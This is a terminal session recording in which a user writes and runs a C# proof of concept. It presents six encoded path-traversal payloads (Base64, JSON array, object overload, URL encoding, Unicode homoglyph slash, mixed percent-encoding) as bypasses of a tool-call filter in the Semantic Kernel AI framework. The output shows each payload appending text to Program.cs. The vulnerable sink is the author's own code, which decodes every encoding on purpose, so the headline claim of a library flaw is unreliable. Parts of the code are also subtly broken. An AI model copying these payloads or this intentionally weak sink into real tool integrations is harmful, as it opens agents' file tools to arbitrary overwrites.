{"version": 2, "width": 235, "height": 54, "timestamp": 1776788909, "env": {"SHELL": "/bin/bash", "TERM": "xterm"}} [0.057858, "o", "\u001b[?2004h"] [0.060632, "o", "\u001b]0;vboxuser@Ubuntu-Server: ~/sk-lab-additional\u0007vboxuser@Ubuntu-Server:~/sk-lab-additional$ "] [5.264001, "o", "\u001b[7mdotnet list package | grep \"SemanticKernel\"\u001b[27m"] [6.008702, "o", "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\bdotnet list package | grep \"SemanticKernel\"\r\n"] [6.008967, "o", "\u001b[?2004l\r"] [7.594193, "o", " > Microsoft.\u001b[01;31m\u001b[KSemanticKernel\u001b[m\u001b[K 1.47.0 1.47.0 \r\n"] [7.619245, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/sk-lab-additional\u0007vboxuser@Ubuntu-Server:~/sk-lab-additional$ "] [15.168698, "o", "cat << 'EOF' > Program.cs\r\n\rusing System;\r\n\rusing System.IO;\r\n\rusing System.Threading.Tasks;\r\n\rusing System.Text.Json;\r\n\rusing System.Text;\r\n\rusing System.Net;\r\n\rusing Microsoft.SemanticKernel;\r\n\rusing Microsoft.Extensions.DependencyInjection;\r\n\r\n\r// #########################################################\r\n\r// # JDP SECURITY RESEARCH SERIES: PROJECT NUKA-AI #\r\n\r// # TARGET: SEMANTIC KERNEL V1.47.0 #\r\n\r// # VULNERABILITY: PATH TRAVERSAL FILTER BYPASS #\r\n\r// #########################################################\r\n\r\n\rvar builder = Kernel.CreateBuilder();\r\n\rbuilder.Plugins.AddFromType(\"FileTools\");\r\n\rbuilder.Services.AddSingleton();\r\n"] [15.168941, "o", "\rvar kernel = builder.Build();\r\n\r\n\rConsole.WriteLine(\"=== NUKA-AI SECURITY AUDIT: STARTING ===\");\r\n\r\n\r// --- SECTION 1: THE BLOCKED ATTEMPTS ---\r\n\rConsole.WriteLine(\"\\n[BLOCK TEST 1] Checking for basic Traversal...\");\r\n\rtry {\r\n\r await kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r\n\r { \"path\", \"../../Program.cs\" }, { \"content\", \"X\" }\r\n\r });\r\n\r} catch (UnauthorizedAccessException) { Console.WriteLine(\" >> RESULT: BLOCKED (Saw '..')\"); }\r\n\r\n\rConsole.WriteLine(\"[BLOCK TEST 2] Checking for Raw Slashes...\");\r\n\rtry {\r\n\r await kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r\n\r { \"path\", \"SafeFolder/../Program.cs\" }, { \"content\", \"X\" }\r\n\r });\r\n\r} catch (UnauthorizedAccessException) { Console.WriteLine(\" >> RESULT: BLOCKED (Saw '/')\"); }\r\n\r\n\r// --- SECTION 2: THE BYPASS GALLERY ---\r\n\rConsole.WriteLine(\"\\n[BYPASS 1] Base64 Encoding...\");\r\n\rawait kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r\n\r { \"path\", Convert.ToBase64String(Encoding.UTF8.GetBytes(\"Program.cs\")) }, \r\n\r { \"content\", \"BYPASS 1: SUCCESS\\n\" }\r\n\r});\r\n\r\n\rConsole.WriteLine(\"[BYPASS 2] JSON Array Confusion...\");\r\n\rawait kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r\n\r { \"path\", JsonSerializer.Deserialize(\"[\\\"Program.cs\\\"]\") }, \r\n\r { \"content\", \"BYPASS 2: SUCCESS\\n\" }\r\n\r});\r\n\r\n\rConsole.WriteLine(\"[BYPASS 3] Anonymous Object Overload...\");\r\n\rawait kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r\n\r { \"path\", new { path = \"Program.cs\" } }, \r\n\r { \"content\", \"BYPASS 3: SUCCESS\\n\" }\r});\r\u001b[7mConsole.WriteLine(\"[BYPASS 4] URL Encoding...\");\u001b[27m\r\u001b[7mawait kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\u001b[27m\r\u001b[7m { \"path\", \"P%72ogram%2ec%73\" }, \u001b[27m\r\u001b[7m { \"content\", \"BYPASS 4: SUCCESS\\n\" }\u001b[27m\r\u001b[7m});\u001b[27m\r\u001b[7mConsole.WriteLine(\"[BYPASS 5] Unicode Homoglyphs...\");\u001b[27m\r\u001b[7mawait kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\u001b[27m\r\u001b[7m { \"path\", \".⁄Program.cs\" }, \u001b[27m\r\u001b[7m { \"content\", \"BYPASS 5: SUCCESS\\n\" }\u001b[27m\r\u001b[7m});\u001b[27m\r\u001b[7mConsole.WriteLine(\"[BYPASS 6] THE SMOKING GUN: Hybrid Canonicalization...\");\u001b[27m\r\u001b[7mawait kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\u001b[27m\r\u001b[7m { \"path\", \"SafeFolder%2f%2e%2e%2fProgram%2ecs\" }, \u001b[27m\r\u001b[7m { \"content\", \"BYPASS 6: SUCCESS\\n\" }\u001b[27m\r\u001b[7m});\u001b[27m\r\u001b[7m// --- THE DEFENSE ---\u001b[27m\r\u001b[7mpublic class PathSanitizationFilter : IFunctionInvocationFilter {\u001b[27m\r\u001b[7m public async Task OnFunctionInvocationAsync(FunctionInvocationContext context, Func next) {\u001b[27m\r\u001b[7m foreach (var arg in context.Arguments) {\u001b[27m\r\u001b[7m if (arg.Value is string str && (str.Contains(\"..\") || str.Contains(\"/\")))\u001b[27m\r\u001b[7m throw new UnauthorizedAccessException(\"Blocked!\");\u001b[27m\r\u001b[7m }\u001b[27m\r\u001b[7m await next(context);\u001b[27m\r\u001b[7m }\u001b[27m\r\u001b[7m}\u001b[27m\r\u001b[7m// --- THE VULNERABLE SINK ---\u001b[27m\r\u001b[7mpublic class FilePlugin {\u001b[27m\r\u001b[7m [KernelFunction]\u001b[27m\r\u001b[7m public void SaveConversation(object path, string content) {\u001b[27m\r\u001b[7m string stringPath = path?.ToString() ?? \"default.txt\";\u001b[27m\r\u001b[7m \u001b[27m\r\u001b[7m if (stringPath.Contains(\"%\")) stringPath = WebUtility.UrlDecode(stringPath);\u001b[27m\r\u001b[7m if (stringPath.Contains(\"⁄\")) stringPath = stringPath.Replace(\"⁄\", \"/\");\u001b[27m\r\u001b[7m if (path is string s && s.EndsWith(\"==\")) \u001b[27m\r\u001b[7m stringPath = Encoding.UTF8.GetString(Convert.FromBase64String(s));\u001b[27m\r\u001b[7m else if (path is JsonElement el && el.ValueKind == JsonValueKind.Array) \u001b[27m\r\u001b[7m stringPath = el[0].GetString() ?? \"default.txt\";\u001b[27m\r\u001b[7m else if (path.GetType().GetProperty(\"path\") != null) \u001b[27m\r\u001b[7m stringPath = path.GetType().GetProperty(\"path\")?.GetValue(path)?.ToString() ?? \"default.txt\";\u001b[27m\r\u001b[7m if (!File.Exists(stringPath)) \u001b[27m\r\u001b[7m stringPath = Path.Combine(AppContext.BaseDirectory, \"../../../\", stringPath);\u001b[27m\r\u001b[7m Console.WriteLine($\" >> SINK: Writing to: {Path.GetFullPath(stringPath)}\");\u001b["] [15.16969, "o", "27m\r\u001b[7m File.AppendAllText(stringPath, content);\u001b[27m\r\u001b[7m }\u001b[27m\r\u001b[7m}\u001b[27m\r\u001b[7mEOF\u001b[27m"] [16.129759, "o", "\rConsole.WriteLine(\"[BYPASS 4] URL Encoding...\");\rawait kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r { \"path\", \"P%72ogram%2ec%73\" }, \r { \"content\", \"BYPASS 4: SUCCESS\\n\" }\r});\rConsole.WriteLine(\"[BYPASS 5] Unicode Homoglyphs...\");\rawait kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r { \"path\", \".⁄Program.cs\" }, \r { \"content\", \"BYPASS 5: SUCCESS\\n\" }\r});\rConsole.WriteLine(\"[BYPASS 6] THE SMOKING GUN: Hybrid Canonicalization...\");\rawait kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r { \"path\", \"SafeFolder%2f%2e%2e%2fProgram%2ecs\" }, \r { \"content\", \"BYPASS 6: SUCCESS\\n\" }\r});\r// --- THE DEFENSE ---\rpublic class PathSanitizationFilter : IFunctionInvocationFilter {\r public async Task OnFunctionInvocationAsync(FunctionInvocationContext context, Func next) {\r foreach (var arg in context.Arguments) {\r if (arg.Value is string str && (str.Contains(\"..\") || str.Contains(\"/\")))\r throw new UnauthorizedAccessException(\"Blocked!\");\r }\r await next(context);\r }\r}\r// --- THE VULNERABLE SINK ---\rpublic class FilePlugin {\r [KernelFunction]\r public void SaveConversation(object path, string content) {\r string stringPath = path?.ToString() ?? \"default.txt\";\r \r if (stringPath.Contains(\"%\")) stringPath = WebUtility.UrlDecode(stringPath);\r if (stringPath.Contains(\"⁄\")) stringPath = stringPath.Replace(\"⁄\", \"/\");\r if (path is string s && s.EndsWith(\"==\")) \r stringPath = Encoding.UTF8.GetString(Convert.FromBase64String(s));\r else if (path is JsonElement el && el.ValueKind == JsonValueKind.Array) \r stringPath = el[0].GetString() ?? \"default.txt\";\r else if (path.GetType().GetProperty(\"path\") != null) \r stringPath = path.GetType().GetProperty(\"path\")?.GetValue(path)?.ToString() ?? \"default.txt\";\r if (!File.Exists(stringPath)) \r stringPath = Path.Combine(AppContext.BaseDirectory, \"../../../\", stringPath);\r Console.WriteLine($\" >> SINK: Writing to: {Path.GetFullPath(stringPath)}\");\r File.AppendAllText(stringPath, content);\r }\r}\rEOF\r\n\u001b[?2004l\r"] [16.147653, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/sk-lab-additional\u0007vboxuser@Ubuntu-Server:~/sk-lab-additional$ "] [17.264847, "o", "\r\n\u001b[?2004l\r"] [17.26598, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/sk-lab-additional\u0007vboxuser@Ubuntu-Server:~/sk-lab-additional$ "] [17.42495, "o", "\r\n"] [17.425606, "o", "\u001b[?2004l\r\u001b[?2004h"] [17.425682, "o", "\u001b]0;vboxuser@Ubuntu-Server: ~/sk-lab-additional\u0007vboxuser@Ubuntu-Server:~/sk-lab-additional$ "] [17.577017, "o", "\r\n\u001b[?2004l\r\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/sk-lab-additional\u0007vboxuser@Ubuntu-Server:~/sk-lab-additional$ "] [17.737136, "o", "\r\n\u001b[?2004l\r"] [17.737666, "o", "\u001b[?2004h"] [17.737798, "o", "\u001b]0;vboxuser@Ubuntu-Server: ~/sk-lab-additional\u0007vboxuser@Ubuntu-Server:~/sk-lab-additional$ "] [18.280163, "o", "c"] [18.375147, "o", "a"] [18.631049, "o", "t"] [18.934926, "o", " "] [19.503735, "o", "P"] [19.655409, "o", "r"] [19.728602, "o", "o"] [20.154137, "o", "\u0007gram"] [20.832974, "o", "."] [21.025139, "o", "cs "] [21.441243, "o", "\r\n\u001b[?2004l\r"] [21.450199, "o", "using System;\r\nusing System.IO;\r\nusing System.Threading.Tasks;\r\nusing System.Text.Json;\r\nusing System.Text;\r\nusing System.Net;\r\nusing Microsoft.SemanticKernel;\r\nusing Microsoft.Extensions.DependencyInjection;\r\n\r\n// #########################################################\r\n// # JDP SECURITY RESEARCH SERIES: PROJECT NUKA-AI #\r\n// # TARGET: SEMANTIC KERNEL V1.47.0 #\r\n// # VULNERABILITY: PATH TRAVERSAL FILTER BYPASS #\r\n// #########################################################\r\n\r\nvar builder = Kernel.CreateBuilder();\r\nbuilder.Plugins.AddFromType(\"FileTools\");\r\nbuilder.Services.AddSingleton();\r\nvar kernel = builder.Build();\r\n\r\nConsole.WriteLine(\"=== NUKA-AI SECURITY AUDIT: STARTING ===\");\r\n\r\n// --- SECTION 1: THE BLOCKED ATTEMPTS ---\r\nConsole.WriteLine(\"\\n[BLOCK TEST 1] Checking for basic Traversal...\");\r\ntry {\r\n await kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r\n { \"path\", \"../../Program.cs\" }, { \"content\", \"X\" }\r\n });\r\n} catch (UnauthorizedAccessException) { Console.WriteLine(\" >> RESULT: BLOCKED (Saw '..')\"); }\r\n\r\nConsole.WriteLine(\"[BLOCK TEST 2] Checking for Raw Slashes...\");\r\ntry {\r\n await kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r\n { \"path\", \"SafeFolder/../Program.cs\" }, { \"content\", \"X\" }\r\n });\r\n} catch (UnauthorizedAccessException) { Console.WriteLine(\" >> RESULT: BLOCKED (Saw '/')\"); }\r\n\r\n// --- SECTION 2: THE BYPASS GALLERY ---\r\nConsole.WriteLine(\"\\n[BYPASS 1] Base64 Encoding...\");\r\nawait kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r\n { \"path\", Convert.ToBase64String(Encoding.UTF8.GetBytes(\"Program.cs\")) }, \r\n { \"content\", \"BYPASS 1: SUCCESS\\n\" }\r\n});\r\n\r\nConsole.WriteLine(\"[BYPASS 2] JSON Array Confusion...\");\r\nawait kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r\n { \"path\", JsonSerializer.Deserialize(\"[\\\"Program.cs\\\"]\") }, \r\n { \"content\", \"BYPASS 2: SUCCESS\\n\" }\r\n});\r\n\r\nConsole.WriteLine(\"[BYPASS 3] Anonymous Object Overload...\");\r\nawait kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r\n { \"path\", new { path = \"Program.cs\" } }, \r\n { \"content\", \"BYPASS 3: SUCCESS\\n\" }\r\n});\r\n\r\nConsole.WriteLine(\"[BYPASS 4] URL Encoding...\");\r\nawait kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r\n { \"path\", \"P%72ogram%2ec%73\" }, \r\n { \"content\", \"BYPASS 4: SUCCESS\\n\" }\r\n});\r\n\r\nConsole.WriteLine(\"[BYPASS 5] Unicode Homoglyphs...\");\r\nawait kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r\n { \"path\", \".⁄Program.cs\" }, \r\n { \"content\", \"BYPASS 5: SUCCESS\\n\" }\r\n});\r\n\r\nConsole.WriteLine(\"[BYPASS 6] THE SMOKING GUN: Hybrid Canonicalization...\");\r\nawait kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r\n { \"path\", \"SafeFolder%2f%2e%2e%2fProgram%2ecs\" }, \r\n { \"content\", \"BYPASS 6: SUCCESS\\n\" }\r\n});\r\n\r\n// --- THE DEFENSE ---\r\npublic class PathSanitizationFilter : IFunctionInvocationFilter {\r\n public async Task OnFunctionInvocationAsync(FunctionInvocationContext context, Func next) {\r\n foreach (var arg in context.Arguments) {\r\n if (arg.Value is string str && (str.Contains(\"..\") || str.Contains(\"/\")))\r\n throw new UnauthorizedAccessException(\"Blocked!\");\r\n }\r\n await next(context);\r\n }\r\n}\r\n\r\n// --- THE VULNERABLE SINK ---\r\npublic class FilePlugin {\r\n [KernelFunction]\r\n public void SaveConversation(object path, string content) {\r\n string stringPath = path?.ToString() ?? \"default.txt\";\r\n \r\n if (stringPath.Contains(\"%\")) stringPath = WebUtility.UrlDecode(stringPath);\r\n if (stringPath.Contains(\"⁄\")) stringPath = stringPath.Replace(\"⁄\", \"/\");\r\n\r\n if (path is string s && s.EndsWith(\"==\")) \r\n stringPath = Encoding.UTF8.GetString(Convert.FromBase64String(s));\r\n else if (path is JsonElement el && el.ValueKind == JsonValueKind.Array) \r\n stringPath = el[0].GetString() ?? \"default.txt\";\r\n else if (path.GetType()."] [21.450474, "o", "GetProperty(\"path\") != null) \r\n stringPath = path.GetType().GetProperty(\"path\")?.GetValue(path)?.ToString() ?? \"default.txt\";\r\n\r\n if (!File.Exists(stringPath)) \r\n stringPath = Path.Combine(AppContext.BaseDirectory, \"../../../\", stringPath);\r\n\r\n Console.WriteLine($\" >> SINK: Writing to: {Path.GetFullPath(stringPath)}\");\r\n File.AppendAllText(stringPath, content);\r\n }\r\n}\r\n\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/sk-lab-additional\u0007vboxuser@Ubuntu-Server:~/sk-lab-additional$ "] [30.752261, "o", "\u001b[7mdotnet run\u001b[27m"] [31.61896, "o", "\b\b\b\b\b\b\b\b\b\bdotnet run\r\n\u001b[?2004l\r"] [31.784114, "o", "\u001b[?1h\u001b="] [38.933144, "o", "\u001b[39;49m"] [38.936558, "o", "\u001b[33m/home/vboxuser/sk-lab-additional/Program.cs(99,18): warning CS8602: Dereference of a possibly null reference. [/home/vboxuser/sk-lab-additional/sk-lab-additional.csproj]\r\n\u001b[39;49m"] [39.663884, "o", "\u001b[?1h\u001b==== NUKA-AI SECURITY AUDIT: STARTING ===\r\n\r\n[BLOCK TEST 1] Checking for basic Traversal...\r\n >> RESULT: BLOCKED (Saw '..')\r\n[BLOCK TEST 2] Checking for Raw Slashes...\r\n >> RESULT: BLOCKED (Saw '/')\r\n\r\n[BYPASS 1] Base64 Encoding...\r\n >> SINK: Writing to: /home/vboxuser/sk-lab-additional/Program.cs\r\n[BYPASS 2] JSON Array Confusion...\r\n >> SINK: Writing to: /home/vboxuser/sk-lab-additional/Program.cs\r\n[BYPASS 3] Anonymous Object Overload...\r\n >> SINK: Writing to: /home/vboxuser/sk-lab-additional/Program.cs\r\n[BYPASS 4] URL Encoding...\r\n >> SINK: Writing to: /home/vboxuser/sk-lab-additional/Program.cs\r\n[BYPASS 5] Unicode Homoglyphs...\r\n >> SINK: Writing to: /home/vboxuser/sk-lab-additional/Program.cs\r\n[BYPASS 6] THE SMOKING GUN: Hybrid Canonicalization...\r\n >> SINK: Writing to: /home/vboxuser/sk-lab-additional/Program.cs\r\n"] [39.688451, "o", "\u001b[?1h\u001b="] [39.713095, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/sk-lab-additional\u0007vboxuser@Ubuntu-Server:~/sk-lab-additional$ "] [55.221081, "o", "\u001b[7mtail -n 10 Program.cs\u001b[27m"] [56.050895, "o", "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\btail -n 10 Program.cs\r\n\u001b[?2004l\r"] [56.059573, "o", " Console.WriteLine($\" >> SINK: Writing to: {Path.GetFullPath(stringPath)}\");"] [56.05974, "o", "\r\n File.AppendAllText(stringPath, content);\r\n }\r\n}\r\nBYPASS 1: SUCCESS\r\nBYPASS 2: SUCCESS\r\nBYPASS 3: SUCCESS\r\nBYPASS 4: SUCCESS\r\nBYPASS 5: SUCCESS\r\nBYPASS 6: SUCCESS\r\n"] [56.060117, "o", "\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/sk-lab-additional\u0007vboxuser@Ubuntu-Server:~/sk-lab-additional$ "] [64.337761, "o", "c"] [64.437832, "o", "a"] [64.674529, "o", "t"] [64.773577, "o", " "] [65.306239, "o", "P"] [65.464014, "o", "r"] [65.536646, "o", "o"] [65.748262, "o", "\u0007gram"] [66.397489, "o", "."] [66.53188, "o", "cs "] [67.022153, "o", "\r\n\u001b[?2004l\r"] [67.030666, "o", "using System;\r\nusing System.IO;\r\nusing System.Threading.Tasks;\r\nusing System.Text.Json;\r\nusing System.Text;\r\nusing System.Net;\r\nusing Microsoft.SemanticKernel;\r\nusing Microsoft.Extensions.DependencyInjection;\r\n\r\n// #########################################################\r\n// # JDP SECURITY RESEARCH SERIES: PROJECT NUKA-AI #\r\n// # TARGET: SEMANTIC KERNEL V1.47.0 #\r\n// # VULNERABILITY: PATH TRAVERSAL FILTER BYPASS #\r\n// #########################################################\r\n\r\nvar builder = Kernel.CreateBuilder();\r\nbuilder.Plugins.AddFromType(\"FileTools\");\r\nbuilder.Services.AddSingleton();\r\nvar kernel = builder.Build();\r\n\r\nConsole.WriteLine(\"=== NUKA-AI SECURITY AUDIT: STARTING ===\");\r\n\r\n// --- SECTION 1: THE BLOCKED ATTEMPTS ---\r\nConsole.WriteLine(\"\\n[BLOCK TEST 1] Checking for basic Traversal...\");\r\ntry {\r\n await kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r\n { \"path\", \"../../Program.cs\" }, { \"content\", \"X\" }\r\n });\r\n} catch (UnauthorizedAccessException) { Console.WriteLine(\" >> RESULT: BLOCKED (Saw '..')\"); }\r\n\r\nConsole.WriteLine(\"[BLOCK TEST 2] Checking for Raw Slashes...\");\r\ntry {\r\n await kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r\n { \"path\", \"SafeFolder/../Program.cs\" }, { \"content\", \"X\" }\r\n });\r\n} catch (UnauthorizedAccessException) { Console.WriteLine(\" >> RESULT: BLOCKED (Saw '/')\"); }\r\n\r\n// --- SECTION 2: THE BYPASS GALLERY ---\r\nConsole.WriteLine(\"\\n[BYPASS 1] Base64 Encoding...\");\r\nawait kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r\n { \"path\", Convert.ToBase64String(Encoding.UTF8.GetBytes(\"Program.cs\")) }, \r\n { \"content\", \"BYPASS 1: SUCCESS\\n\" }\r\n});\r\n\r\nConsole.WriteLine(\"[BYPASS 2] JSON Array Confusion...\");\r\nawait kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r\n { \"path\", JsonSerializer.Deserialize(\"[\\\"Program.cs\\\"]\") }, \r\n { \"content\", \"BYPASS 2: SUCCESS\\n\" }\r\n});\r\n\r\nConsole.WriteLine(\"[BYPASS 3] Anonymous Object Overload...\");\r\nawait kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r\n { \"path\", new { path = \"Program.cs\" } }, \r\n { \"content\", \"BYPASS 3: SUCCESS\\n\" }\r\n});\r\n\r\nConsole.WriteLine(\"[BYPASS 4] URL Encoding...\");\r\nawait kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r\n { \"path\", \"P%72ogram%2ec%73\" }, \r\n { \"content\", \"BYPASS 4: SUCCESS\\n\" }\r\n});\r\n\r\nConsole.WriteLine(\"[BYPASS 5] Unicode Homoglyphs...\");\r\nawait kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r\n { \"path\", \".⁄Program.cs\" }, \r\n { \"content\", \"BYPASS 5: SUCCESS\\n\" }\r\n});\r\n\r\nConsole.WriteLine(\"[BYPASS 6] THE SMOKING GUN: Hybrid Canonicalization...\");\r\nawait kernel.InvokeAsync(\"FileTools\", \"SaveConversation\", new() {\r\n { \"path\", \"SafeFolder%2f%2e%2e%2fProgram%2ecs\" }, \r\n { \"content\", \"BYPASS 6: SUCCESS\\n\" }\r\n});\r\n\r\n// --- THE DEFENSE ---\r\npublic class PathSanitizationFilter : IFunctionInvocationFilter {\r\n public async Task OnFunctionInvocationAsync(FunctionInvocationContext context, Func next) {\r\n foreach (var arg in context.Arguments) {\r\n if (arg.Value is string str && (str.Contains(\"..\") || str.Contains(\"/\")))\r\n throw new UnauthorizedAccessException(\"Blocked!\");\r\n }\r\n await next(context);\r\n }\r\n}\r\n\r\n// --- THE VULNERABLE SINK ---\r\npublic class FilePlugin {\r\n [KernelFunction]\r\n public void SaveConversation(object path, string content) {\r\n string stringPath = path?.ToString() ?? \"default.txt\";\r\n \r\n if (stringPath.Contains(\"%\")) stringPath = WebUtility.UrlDecode(stringPath);\r\n if (stringPath.Contains(\"⁄\")) stringPath = stringPath.Replace(\"⁄\", \"/\");\r\n\r\n if (path is string s && s.EndsWith(\"==\")) \r\n stringPath = Encoding.UTF8.GetString(Convert.FromBase64String(s));\r\n else if (path is JsonElement el && el.ValueKind == JsonValueKind.Array) \r\n stringPath = el[0].GetString() ?? \"default.txt\";\r\n else if (path.GetType()."] [67.032925, "o", "GetProperty(\"path\") != null) \r\n stringPath = path.GetType().GetProperty(\"path\")?.GetValue(path)?.ToString() ?? \"default.txt\";\r\n\r\n if (!File.Exists(stringPath)) \r\n stringPath = Path.Combine(AppContext.BaseDirectory, \"../../../\", stringPath);\r\n\r\n Console.WriteLine($\" >> SINK: Writing to: {Path.GetFullPath(stringPath)}\");\r\n File.AppendAllText(stringPath, content);\r\n }\r\n}\r\nBYPASS 1: SUCCESS\r\nBYPASS 2: SUCCESS\r\nBYPASS 3: SUCCESS\r\nBYPASS 4: SUCCESS\r\nBYPASS 5: SUCCESS\r\nBYPASS 6: SUCCESS\r\n\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/sk-lab-additional\u0007vboxuser@Ubuntu-Server:~/sk-lab-additional$ "] [76.661306, "o", "\u001b[7mtail -n 10 Program.cs\u001b[27m"] [77.67764, "o", "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\btail -n 10 Program.cs\r\n\u001b[?2004l\r"] [77.687566, "o", " Console.WriteLine($\" >> SINK: Writing to: {Path.GetFullPath(stringPath)}\");\r\n File.AppendAllText(stringPath, content);\r\n }\r\n}\r\nBYPASS 1: SUCCESS\r\nBYPASS 2: SUCCESS\r\nBYPASS 3: SUCCESS\r\nBYPASS 4: SUCCESS\r\nBYPASS 5: SUCCESS\r\nBYPASS 6: SUCCESS\r\n\u001b[?2004h\u001b]0;vboxuser@Ubuntu-Server: ~/sk-lab-additional\u0007vboxuser@Ubuntu-Server:~/sk-lab-additional$ "] [79.662188, "o", "e"] [79.848046, "o", "x"] [80.047963, "o", "i"] [80.187645, "o", "t"] [80.803897, "o", "\r\n\u001b[?2004l\rexit\r\n"]